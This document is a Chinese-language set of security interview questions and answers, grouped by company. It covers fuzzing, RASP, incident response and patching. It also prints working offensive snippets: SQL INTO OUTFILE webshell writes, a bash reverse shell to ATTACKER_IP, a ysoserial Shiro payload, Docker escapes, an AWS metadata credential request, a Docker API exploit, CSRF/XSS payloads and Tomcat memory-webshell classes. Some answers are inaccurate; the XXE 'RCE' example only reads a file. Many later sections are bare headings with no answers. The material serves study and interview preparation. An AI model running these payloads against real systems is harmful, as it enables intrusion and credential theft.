RASP：在生产环境中运行，会对应用程序的行为进行监控和干预，可能会对一些正常的业务操作产生误判，导致阻断或修改正常的请求和数据，从而产生脏数据。但优秀的RASP产品会通过精确的检测算法和策略，尽量减少误判和脏数据的产生。

符号执行及约束求解

符号执行：是一种程序分析技术，它将程序的输入表示为符号而不是具体的值，然后通过符号执行引擎对程序进行模拟执行，跟踪程序的执行路径和状态变化，以发现潜在的漏洞和错误。在符号执行过程中，会根据程序的逻辑和约束条件，建立符号约束表达式，当需要确定某个路径是否可达或某个条件是否成立时，就需要进行约束求解。
约束求解：约束求解器会根据符号约束表达式，寻找满足条件的输入值或证明无解。例如，在分析一个存在缓冲区溢出漏洞的程序时，符号执行引擎会跟踪输入数据在缓冲区中的写入操作，建立关于输入长度和缓冲区大小的约束表达式，约束求解器会尝试找到使输入长度超过缓冲区大小的输入值，从而确定漏洞的存在。

可用Fuzz检测的漏洞类型

缓冲区溢出漏洞：通过向程序输入大量数据，使其超过缓冲区的容量，导致程序崩溃或执行任意代码。Fuzz测试可以生成各种长度和内容的输入数据，模拟这种溢出情况，检测程序是否存在缓冲区溢出漏洞。
SQL注入漏洞：通过向程序输入恶意的SQL语句，干扰数据库的正常运行。Fuzz测试可以生成各种包含特殊字符、SQL关键字等的输入，尝试注入到程序的查询语句中，检测是否存在SQL注入漏洞。
跨站脚本攻击（XSS）漏洞：通过向网页输入恶意的脚本代码，使其在其他用户的浏览器中执行。Fuzz测试可以生成各种包含HTML标签、脚本代码等的输入，模拟用户输入到网页表单或URL参数中，检测是否存在XSS漏洞。
命令注入漏洞：通过向程序输入恶意的命令，使其在服务器上执行。Fuzz测试可以生成各种包含操作系统命令、特殊字符等的输入，尝试注入到程序的命令执行函数中，检测是否存在命令注入漏洞。
文件包含漏洞：通过向程序输入恶意的文件路径，使其包含并执行指定的文件。Fuzz测试可以生成各种包含绝对路径、相对路径、网络路径等的输入，尝试包含到程序的文件包含函数中，检测是否存在文件包含漏洞。

携程

以下是对这些问题的详细解答，包含技术细节和代码示例：

1. SQL 注入写马

`outfile` 和 `dumpfile` 的区别

**outfile**：支持多行写入，可以自定义编码（如 Base64），但需要目标服务器有写权限。
**dumpfile**：只能写单行数据，且不支持编码，但可以绕过某些 WAF。

示例：利用 `outfile` 写 Webshell

1 2	SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

示例：利用 `dumpfile` 写单行

1 2	SELECT 0x3C3F7068702073797374656D28245F4745545B22636D64225D293B203F3E INTO DUMPFILE '/var/www/html/shell.php';

2. 宽字符截断的原理

原理

宽字符截断利用字符编码差异（如 UTF-8 和 GBK），通过截断字符绕过单引号限制。

示例

1	' /!UNION/ SELECT 1, 2, 3, 0x61646d696e FROM users--

0x61646d696e 是 admin 的十六进制编码。
通过宽字符截断绕过单引号限制。

3. SSRF 无回显的利用

原理

无回显时，通过盲注判断请求是否成功（如 HTTP 状态码或响应时间）。

工具

Burp Suite：构造请求，监控响应。
Nuclei：自动化扫描 SSRF 漏洞。

示例

import requests

url = "http://example.com/api?target=http://internal-service"
response = requests.get(url)
if "Service Unavailable" in response.text:
    print("SSRF 利用成功")

4. Shiro 漏洞

原理

Apache Shiro 存在反序列化漏洞（如 rememberMe Cookie），可执行任意代码。

利用

工具：ysoserial 生成 payload。
示例：
1
java -jar ysoserial.jar CommonsCollections1 "calc" > payload.ser
将 payload.ser 编码为 Base64，注入到 rememberMe Cookie 中。

失败原因

Shiro 版本不受影响。
未启用 rememberMe 功能。
环境缺少依赖（如 commons-collections）。

5. 反弹 Shell 的本质

反弹 Shell 是通过建立反向连接，将目标机器的控制权转移到攻击者的机器。

示例

# 攻击者监听
nc -lvnp 4444

# 目标机器执行
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

6. 作为 Agent 采集信息

需要采集的信息

系统信息：OS 版本、内核版本。
网络信息：IP、端口、路由表。
进程信息：PID、PPID、命令行参数。

构建进程树

import psutil

def build_process_tree(pid):
    try:
        p = psutil.Process(pid)
        return {
            "pid": p.pid,
            "name": p.name(),
            "cmdline": p.cmdline(),
            "children": [build_process_tree(child.pid) for child in p.children(recursive=False)]
        }
    except:
        return None

7. 提权检测

Linux 提权检测

检查 SUID/SGID 文件：
1
find / -perm -4000 2>/dev/null
检查内核漏洞：
1
uname -a

Windows 提权检测

检查权限：
1
whoami /priv

检查服务权限：

1	Get-Service \| Where-Object { $_.StartName -eq "LocalSystem" }

8. 云原生与容器安全

Docker 逃逸

利用共享命名空间：

1	docker run -it --rm --pid=host alpine chroot /proc/1/ns/mnt /bin/sh

利用脏牛漏洞：

1	docker run -it --rm --cap-add SYS_ADMIN alpine

Kubernetes 逃逸

利用 kubectl 权限提升：
1
kubectl get pods --all-namespaces

9. 云服务攻防

常见漏洞

未授权访问：直接访问 S3 Bucket。
权限提升：利用 IAM 角色权限过大。
SSRF 利用内部服务：如 AWS Metadata Service。

示例

import requests

# 利用 AWS Metadata Service 获取临时凭证
response = requests.get("http://169.254.169.254/latest/meta-data/iam/security-credentials/")
print(response.text)

vivo

1. 在只有任意文件读取一个点的情况下有什么利用方式？

利用文件读取点查找敏感信息：可以尝试读取常见的敏感文件，如/etc/passwd、/etc/shadow、/etc/hosts、/etc/ssh/ssh_config等，获取系统配置信息。
查找运行中的服务：通过读取/proc/[pid]/cmdline文件，可以获取进程的完整命令行参数，从而了解系统中运行的服务。
查找配置文件：利用find命令查找特定的配置文件，例如find / -name "*.conf"，定位到Web服务器、数据库等的配置文件。

2. 怎么找开了什么服务（`/proc/pid/cmdline`）？

通过读取/proc/[pid]/cmdline文件，可以查看进程的完整命令行参数。例如：
1
cat /proc/[pid]/cmdline
其中[pid]是目标进程的PID。该命令会输出进程的启动命令及其参数。

3. 怎么找绝对路径？

使用find命令：

1	find / -name 文件名 -type f 2>/dev/null

例如，查找file.txt的绝对路径：

1	find / -name file.txt -type f 2>/dev/null

使用realpath命令：
1
realpath 文件名

使用readlink -f命令：

  readlink -f 文件名
  ```。

### 4. 怎么找配置文件？
- **使用`find`命令查找配置文件**：
  ```bash
  find / -name "*.conf"

查找常见配置文件路径：例如/etc/nginx/nginx.conf、/etc/apache2/apache2.conf、/etc/mysql/my.cnf等。

5. Linux开机自启动文件

**/etc/rc.local**：在某些Linux发行版中，/etc/rc.local文件会在系统启动时执行。
**/etc/init.d**：该目录下的脚本会在系统启动时运行，可以根据服务名称查找启动脚本。

6. 聊云AK/SK相关的利用和防御

利用方式：
- 通过任意文件读取漏洞读取云平台的AK/SK文件（如~/.aws/credentials）。
- 利用环境变量泄露获取AK/SK（如printenv命令）。
防御措施：
- 限制AK/SK的权限，仅授予必要的权限。
- 定期轮换AK/SK，避免长期使用同一密钥。
- 使用云平台的IAM（身份和访问管理）功能进行细粒度的权限控制。

7. 聊SSO相关的攻击方式

攻击方式：
- 会话劫持：通过中间人攻击或XSS漏洞窃取用户的SSO会话。
- OAuth令牌窃取：通过钓鱼攻击或恶意应用获取用户的OAuth令牌。
防御措施：
- 使用多因素认证（MFA）增强安全性。
- 短生命周期的OAuth令牌，减少令牌被滥用的风险。

8. 怎么绕过动态Token？

利用漏洞：如果动态Token的生成逻辑存在漏洞（如基于时间戳的Token），可以通过预测或重放攻击绕过。
中间人攻击：拦截动态Token的传输过程，获取Token值。

9. 怎么绕过双因子认证？

社会工程学攻击：通过欺骗用户获取双因子认证的验证码。
中间人攻击：拦截双因子认证的验证过程，窃取验证码。

10. 内网扫描有流量检测怎么办？

低频扫描：减少扫描频率，避免触发流量检测。
服务指纹识别：通过被动方式识别服务，减少主动扫描的流量。

11. Redis主从复制条件

主从复制条件：Redis主从复制需要配置slaveof指令，指定主节点的IP和端口。
版本限制：Redis 3.x及以上版本支持集群模式，主从复制在单实例和集群模式下均可使用。

12. JWT攻击方式

攻击方式：
- None算法攻击：如果JWT签名算法设置为none，可以篡改JWT内容而不被检测。
- 密钥泄露：通过任意文件读取漏洞获取JWT的签名密钥。
防御措施：
- 使用强密钥，避免密钥泄露。
- 短生命周期的JWT，减少被滥用的风险。

京东

文件解析漏洞（IIS、Apache、Nginx）

IIS解析漏洞：
- 目录解析漏洞：在 IIS5.x/6.0 中，若在网站下建立文件夹名为*.asp等的文件夹，则其目录内的任何扩展名的文件都会被 IIS 当做 asp 文件来解释并执行。例如创建目录test.asp，那么/test.asp/1.jpg将被当做 asp 文件来执行。
- 文件名解析漏洞：在 IIS5.x/6.0 中，分号后面的不被解析，如xie.asp;.jpg 会被服务器看成是xie.asp，可绕过校验并执行。
- 畸形解析漏洞：在 IIS7.0 中，若 Fast-CGI 开启，可往图片里写入代码，上传到服务器后，访问/upload/test.jpg/x.php，此时test.jpg将会被服务器当成 php 文件执行。
Apache解析漏洞：从左至右开始判断解析，如果为不可识别解析，就继续往左判断。例如文件名a.rar.php.jpg，若服务器配置不当，可能会被解析为 php 文件。
Nginx解析漏洞：
- 低版本漏洞：如 CVE-2013-4547，非法字符空格和截止符（%00）会导致 Nginx 解析 URI 时混乱，允许攻击者通过非编码空格绕过后缀名限制。
- 路径解析漏洞：对任意文件名，在后面添加/任意文件名.php或%00.php等进行解析攻击。

XXE直接RCE

XXE（XML外部实体注入）漏洞通常用于信息泄露和 SSRF 攻击，但在某些情况下，也可以通过加载恶意 DTD 文件实现 RCE。以下是一个利用 XXE 实现 RCE 的示例代码：

import requests

url = "http://example.com/vulnerable_page"
payload = """<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>"""

response = requests.post(url, data=payload)
print(response.text)

蜜罐溯源（JSONP）

蜜罐是一种用于检测和防范网络攻击的工具，通过设置诱饵来吸引攻击者。溯源则是通过分析攻击者的 IP 地址、行为模式等信息来定位攻击者。在 JSONP（JSON with Padding）场景下，攻击者可能会利用 JSONP 的回调函数来窃取数据。以下是一个简单的 JSONP 蜜罐示例：

from flask import Flask, request, jsonify

app = Flask(__name__)

@app.route('/jsonp')
def jsonp():
    callback = request.args.get('callback')
    if callback:
        # 记录攻击行为
        with open('attack_log.txt', 'a') as f:
            f.write(f"Attack detected: {request.remote_addr}\n")
        return f"{callback}({{ 'result': 'Honey Pot Triggered!' }})"
    return jsonify({'result': 'No callback provided'})

if __name__ == '__main__':
    app.run(debug=True)

写 Poc 用 Python 及其库

Python 是编写 Poc（Proof of Concept）的常用语言，具有丰富的库支持。
常用库：
- **requests**：用于发送 HTTP 请求，测试 Web 应用漏洞。
- **socket**：用于网络通信，测试网络服务漏洞。
- **xml.etree.ElementTree**：用于解析 XML 文件，测试 XXE 等漏洞。
- **subprocess**：用于执行系统命令，测试命令执行漏洞。
- **paramiko**：用于 SSH 连接，测试 SSH 相关漏洞。
- **selenium**：用于自动化浏览器操作，测试 Web 应用漏洞。

阿里

Java原生反序列化修复

重写readObject和writeObject方法：在敏感类中重写这两个方法，禁止敏感操作，防止恶意数据的反序列化。
使用安全的反序列化库：如Jackson、Gson等，它们提供了更安全的反序列化方式，避免直接使用ObjectInputStream。
验证输入数据：在反序列化之前，对输入数据进行严格的验证，确保其来源可靠且格式正确。

Java反序列化区别

Java原生反序列化：直接使用ObjectInputStream进行反序列化，存在较高的安全风险，容易受到反序列化攻击。
Fastjson反序列化：Fastjson提供了更灵活和安全的反序列化方式，可以通过配置来控制哪些类可以被反序列化，降低安全风险。
Log4j反序列化：Log4j本身不直接涉及反序列化，但在某些情况下，可能会因为日志记录的内容包含恶意序列化数据而导致安全问题。

Java Fastjson修复

升级Fastjson版本：确保使用的是最新版本的Fastjson，官方会不断修复已知的安全漏洞。
配置白名单和黑名单：通过配置白名单和黑名单来控制哪些类可以被反序列化，防止恶意类的加载。
限制反序列化深度：设置反序列化的最大深度，避免过深的嵌套结构导致的性能问题和安全风险。

最近安全事件及看法

Spring4Shell：是一个影响Spring Framework的远程代码执行漏洞，攻击者可以通过构造恶意请求来执行任意代码。修复方法包括升级Spring Framework到安全版本，及时应用安全补丁。
Log4Shell：是一个影响Log4j的远程代码执行漏洞，攻击者可以通过构造恶意日志记录来触发漏洞。修复方法包括升级Log4j到安全版本，配置安全策略来限制JNDI查找。

指纹识别要点

服务识别：通过端口扫描和banner grabbing来识别目标系统上运行的服务及其版本。
Web应用识别：通过分析HTTP响应头、页面内容等信息来识别Web应用的类型和版本。
操作系统识别：通过TCP/IP栈指纹、文件共享协议等信息来识别目标系统的操作系统类型和版本。

测绘引擎关键因素

数据准确性：确保测绘数据的准确性和完整性，这是测绘引擎的基础。
性能优化：提高测绘引擎的运行效率，减少数据处理和渲染的时间。
可扩展性：设计具有可扩展性的架构，以便能够处理不断增加的数据量和复杂度。

查看登录日志

Windows：可以使用事件查看器来查看登录日志，路径为“控制面板”->“管理工具”->“事件查看器”。
Linux：可以查看/var/log/auth.log或/var/log/secure文件，这些文件记录了系统的认证相关信息。

Windows自启动方式

注册表：修改注册表中的HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run和HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run键值。
启动文件夹：将程序快捷方式放置在“开始”->“程序”->“启动”文件夹中。
任务计划：使用任务计划程序来设置程序在系统启动时自动运行。

找出木马进程

网络连接分析：使用工具如netstat或TCPView查看当前的网络连接，找出与C2服务器通信的进程。
进程监控：使用工具如Process Explorer监控系统中的进程，查看可疑进程的活动。
日志分析：查看系统日志和安全日志，寻找与木马活动相关的记录。

挖矿木马应急处置

隔离受影响主机：立即将受影响的主机从网络中隔离，防止挖矿活动扩散到其他系统。
终止挖矿进程：使用任务管理器或命令行工具终止挖矿相关的进程。
清除挖矿软件：删除挖矿软件及其相关文件，确保系统中不再存在挖矿活动。
更新和打补丁：确保系统和软件都是最新版本，应用所有安全补丁，防止再次被感染。
加强安全防护：部署入侵检测系统（IDS）和防火墙，加强系统的安全防护措施。

查看登录日志

Windows：
- 事件查看器：打开“事件查看器”，在“Windows 日志”下查看“安全”日志，筛选“4624”事件（成功登录）和“4625”事件（失败登录）。
- 命令行：使用wevtutil命令查询登录事件，例如：
  1
  wevtutil qe Security /q:*[System[(EventID=4624)]] /f:text
Linux：
- last命令：查看登录历史：
  1
  last
- /var/log目录：查看相关日志文件，如/var/log/auth.log或/var/log/secure：
  1
  tail -f /var/log/auth.log

Windows自启动的方式

注册表：
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
启动文件夹：C:\Users\<用户名>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
计划任务：通过任务计划程序或命令行工具schtasks设置自启动任务。
服务：通过services.msc或命令行工具sc创建服务。

找出回连C2地址的进程

假设C2地址是一个域名，例如c2.maliciousdomain.com，可以使用以下方法：

使用netstat命令：
1
2
netstat -ano | findstr :80
netstat -ano | findstr :443
找到与C2域名相关的连接，然后通过进程ID（PID）在任务管理器中找到对应的进程。
使用tcpview工具：这是一个图形化工具，可以实时查看网络连接和对应的进程。

**使用powershell**：

1	Get-NetTCPConnection \| Where-Object { $_.RemoteAddress -eq "c2.maliciousdomain.com" } \| Select-Object OwningProcess

应急处置挖矿木马

立即停止服务：

1 2	systemctl stop nginx systemctl stop apache2

隔离网络：

1 2	iptables -A OUTPUT -p tcp --dport 80 -j DROP iptables -A OUTPUT -p tcp --dport 443 -j DROP

分析样本：
- 使用strings或hexdump查看可疑文件：
  1
  strings /path/to/suspicious_file
- 使用volatility分析内存转储：
  1
  volatility -f memory.dmp pslist
清除木马：
- 删除恶意文件和计划任务。
- 重置密码和密钥。
加固系统：
- 更新系统和软件补丁。
- 配置防火墙和入侵检测系统。

排查C2域名

**使用dig或nslookup**：

1 2	dig c2.maliciousdomain.com nslookup c2.maliciousdomain.com

查看DNS缓存：

Windows：
1
ipconfig /displaydns
Linux：
1
systemd-resolve --statistics

分析网络流量：
- 使用tcpdump捕获流量：
  1
  tcpdump -i eth0 -w capture.pcap
- 使用Wireshark分析捕获的流量。

XSS修复与利用

HTML编码：并非所有地方都可以用HTML编码修复XSS，特别是动态内容输出到属性值或JavaScript上下文中时。例如：
1
<a href="javascript:alert('XSS')">Click</a>
在设置了HttpOnly的情况下利用XSS：
- Cookie窃取：即使设置了HttpOnly，攻击者仍然可以通过XSS读取非HttpOnly的cookie，或者通过其他方式（如CSRF）利用漏洞。
- DOM-based XSS：通过操作DOM来执行恶意代码，例如：
  1
  2
  3
  <script>
  document.write(document.location.hash);
  </script>

代码示例：

# 使用Python和Selenium模拟XSS攻击
from selenium import webdriver

driver = webdriver.Chrome()
driver.get("http://vulnerable-site.com/page?param=<script>alert('XSS')</script>")
alert = driver.switch_to.alert
print(alert.text)
alert.accept()

利用XSS绕过HttpOnly：
- CSRF攻击：即使无法读取cookie，攻击者仍然可以发送请求到目标网站，执行某些操作。
- 会话固定：攻击者可以固定用户的会话ID，然后利用XSS进行进一步攻击。
  https://blog.csdn.net/m0_51683653/article/details/127553777

代码示例（CSRF攻击）：

<form action="http://vulnerable-site.com/transfer" method="POST">
  <input type="hidden" name="amount" value="1000">
  <input type="hidden" name="to" value="attacker_account">
</form>
<script>
  document.forms[0].submit();
</script>

log4j除了升级版本外还有什么修复方式

除了升级log4j版本外，还可以通过以下方式修复log4j漏洞：

禁用JNDI查找：在log4j的配置文件中，通过设置log4j2.formatMsgNoLookups=true来禁用JNDI查找功能，从而防止远程代码执行。
1
log4j2.formatMsgNoLookups=true
限制网络连接：通过防火墙规则限制log4j日志库的网络连接，防止其访问外部恶意服务器。
监控和审计：启用日志监控工具，实时监控log4j的日志输出，及时发现异常行为。

拿到一个webshell怎么判断他是在docker里还是实机里

可以通过以下方法判断webshell是否运行在Docker容器中：

检查环境变量：Docker容器中通常会设置一些特定的环境变量，如container=docker。
1
printenv | grep -i docker
检查进程：Docker容器中的进程运行在容器的命名空间中，可以通过检查/proc/1/cgroup文件来判断。
1
cat /proc/1/cgroup
如果输出中包含docker或containerd，则说明运行在Docker容器中。
检查文件系统：Docker容器的文件系统通常会包含/docker目录或类似标识。
1
ls /docker

Docker API未授权漏洞介绍

Docker API未授权访问漏洞是指Docker守护进程暴露了API端点，且未进行身份验证，攻击者可以利用该漏洞执行任意命令。

漏洞描述：攻击者可以通过发送HTTP请求到Docker API端点，执行容器操作，如创建、删除、执行命令等。

漏洞利用：以下是一个利用Docker API未授权访问漏洞执行命令的示例：

import requests

url = "http://<docker_api_ip>:2375/containers/create"
payload = {
    "Image": "alpine",
    "Cmd": ["/bin/sh", "-c", "touch /tmp/pwned"]
}
headers = {"Content-Type": "application/json"}

response = requests.post(url, json=payload)
print(response.text)

修复建议：
- 禁用Docker API的未授权访问。
- 使用TLS加密通信。
- 配置防火墙规则，限制对Docker API的访问。

机器重启后内存马还在吗

内存马（Memory Malware）是驻留在内存中的恶意代码，通常不会在机器重启后继续存在。因为内存马依赖于进程的内存空间，而重启会清除内存中的数据。不过，某些高级的内存马可能会通过持久化机制（如定时任务、启动项等）在重启后重新加载。

Tomcat内存马分类

Tomcat内存马通常通过以下方式实现：

JSP内存马：通过动态生成JSP代码并加载到Tomcat的内存中。

public class JSPMemoryHorse extends HttpServlet {
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String cmd = request.getParameter("cmd");
        Process p = Runtime.getRuntime().exec(cmd);
        p.waitFor();
        BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
        String line;
        while ((line = reader.readLine()) != null) {
            response.getWriter().println(line);
        }
    }
}

Filter内存马：通过注册自定义Filter拦截请求并执行命令。

public class FilterMemoryHorse implements Filter {
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) request;
        if (req.getParameter("cmd") != null) {
            String cmd = req.getParameter("cmd");
            Process p = Runtime.getRuntime().exec(cmd);
            p.waitFor();
            BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
            String line;
            while ((line = reader.readLine()) != null) {
                ((HttpServletResponse) response).getWriter().println(line);
            }
        }
        chain.doFilter(request, response);
    }
}

Servlet内存马：通过动态注册Servlet来执行命令。

public class ServletMemoryHorse extends HttpServlet {
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String cmd = request.getParameter("cmd");
        Process p = Runtime.getRuntime().exec(cmd);
        p.waitFor();
        BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
        String line;
        while ((line = reader.readLine()) != null) {
            response.getWriter().println(line);
        }
    }
}

度小满

加密的源码处理

加密的源码处理通常涉及以下几个步骤：

加密算法选择：选择合适的加密算法，如AES、RSA等。
密钥管理：确保密钥的安全存储和传输。
加密实现：使用加密库对源码进行加密。
解密实现：在运行时解密源码。

以下是一个使用Python的AES加密示例：

from Crypto.Cipher import AES
import base64
import os

def encrypt_source_code(source_code, key):
    iv = os.urandom(16)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    padded_code = source_code + (AES.block_size - len(source_code) % AES.block_size) * chr(AES.block_size - len(source_code) % AES.block_size)
    encrypted_code = cipher.encrypt(padded_code)
    return base64.b64encode(iv + encrypted_code)

def decrypt_source_code(encrypted_code, key):
    encrypted_code = base64.b64decode(encrypted_code)
    iv = encrypted_code[:16]
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted_code = cipher.decrypt(encrypted_code[16:])
    return decrypted_code[:-ord(decrypted_code[-1])]

# 示例使用
source_code = "print('Hello, World!')"
key = os.urandom(32)
encrypted = encrypt_source_code(source_code.encode(), key)
decrypted = decrypt_source_code(encrypted, key)
exec(decrypted)

PHP的危险函数

PHP中的一些危险函数包括：

eval()：执行字符串作为PHP代码。
system()：执行系统命令。
exec()：执行外部程序。
passthru()：执行外部程序并将原始输出返回。
shell_exec()：执行外部程序并返回完整输出。
popen()：打开程序的管道。
proc_open()：执行命令并打开文件指针。

以下是一个eval()的危险示例：

<?php
$user_input = $_GET['code'];
eval($user_input);
?>

本地文件包含（LFI）

LFI（Local File Inclusion）漏洞允许攻击者通过包含本地文件来读取或执行服务器上的文件。以下是一个LFI的利用示例：

<?php
$file = $_GET['file'];
include($file . '.php');
?>

攻击者可以通过以下方式利用：

1	http://example.com/vulnerable.php?file=../../../../etc/passwd

MySQL除了`SLEEP`的函数

除了SLEEP，MySQL中还有其他可以用于时间盲注的函数：

BENCHMARK(count, expression)：执行表达式多次。
UUID()：生成唯一标识符。
RAND()：生成随机数。

以下是一个使用BENCHMARK的示例：

1	SELECT IF(1=1, BENCHMARK(1000000, MD5(1)), 0);

MySQL读文件的溯源（MySQL蜜罐）

MySQL可以通过LOAD_FILE函数读取文件，以下是一个示例：

1	SELECT LOAD_FILE('/etc/passwd');

为了溯源，可以设置一个MySQL蜜罐，记录所有对敏感文件的访问：

CREATE TABLE access_log (
    id INT AUTO_INCREMENT PRIMARY KEY,
    query TEXT,
    ip VARCHAR(45),
    timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

DELIMITER //
CREATE TRIGGER before_query
BEFORE INSERT ON mysql.general_log
FOR EACH ROW
BEGIN
    IF NEW.argument LIKE '%LOAD_FILE%' THEN
        INSERT INTO access_log (query, ip)
        VALUES (NEW.argument, CONNECTION_ID());
    END IF;
END;
//
DELIMITER ;

0x5A 奇安信-观星实验室

0x19 字节跳动实习面试复盘

1. SQL 注入：空格绕过、引号绕过

空格绕过

引号绕过

2. XSS 中 SVG 的利用和修复

SVG 的利用

修复方法

3. DNS 重定向绑定

攻击原理

防御方法

数组和链表的优势及原因

操作系统层面解释进程和线程区别

线程和进程通信方式以及数据安全问题

多进程和多线程的选用场景以及原因

SQL注入绕过WAF的方式

FUZZ绕WAF的Payload长度

写过哪些正则及具体场景

不查资料不能测试直接写IPv4的正则

Java反射机制会导致怎样的安全问题

XSS和CSRF的相同点以及如何配合利用

CSRF_TOKEN的位置、原理和绕过

尽可能多地说你所知道的HTTP头

Nmap常见扫描方式的原理以及NSE脚本原理

跨域的解决办法原理以及安全问题

1. CORS（跨域资源共享）

2. JSONP（JSON with Padding）

3. Nginx反向代理

Python多进程和多线程如何选择

1. 多线程

2. 多进程

Python的GIL锁本质上做了什么事情

Java的JVM为什么要有GCROOT

Java的JVM有哪些垃圾收集器

垃圾回收计数引用机制的缺点是什么

CSRF 怎么拿到 Cookie

不同域名怎样通过 CSRF 拿 Cookie

HTTP-Only 本质上做了什么事情

平衡二叉树和二叉搜索树

SYN Flood 攻击原理及解决方案

SYN 反向探测的原理

TCP SYN Cookie 的原理

UDP端口探测的有效方式

Nmap的FIN扫描和空扫描

三次握手的序列号变化

Python的值类型和引用类型

Python的list和dict线程安全吗

结合实际的例子说说SSRF

结合实际的例子讲讲RCE

为什么现在文件上传很少了

基于语义分析的WAF了解吗

Java的Class文件结构

CSP是如何防御XSS的

腾讯

1. 企业有HIDS的情况下怎么攻击

2. 企业要怎么做敏感数据泄露的防护

3. 聊HW中的绕过或技巧性强的经历

4. TCP拥塞控制和慢启动

5. 谷歌语法：怎么收集子域名

6. 谷歌语法：识别指纹的时候，如何搜索路径

7. 谷歌语法：如何搜索前端源码的指纹

8. 怎么通过IP反查域名

9. 信息收集中子域名的收集手段

CSRF 防御

XXE 无回显探测

XSS 硬编码利用

CSRF 防御代码示例

XXE 无回显探测代码示例

XSS 硬编码利用代码示例

XSS 转义特殊编码执行代码示例

1. Linux程序的内存布局

示例代码：

2. .data段和.bss段存放的数据

示例代码：

3. 函数调用时的流程、参数传递、寄存器和栈的变化

示例代码：

汇编代码（x86_64）：

4. 程序的编译和链接

编译过程：

示例代码：

编译和链接命令：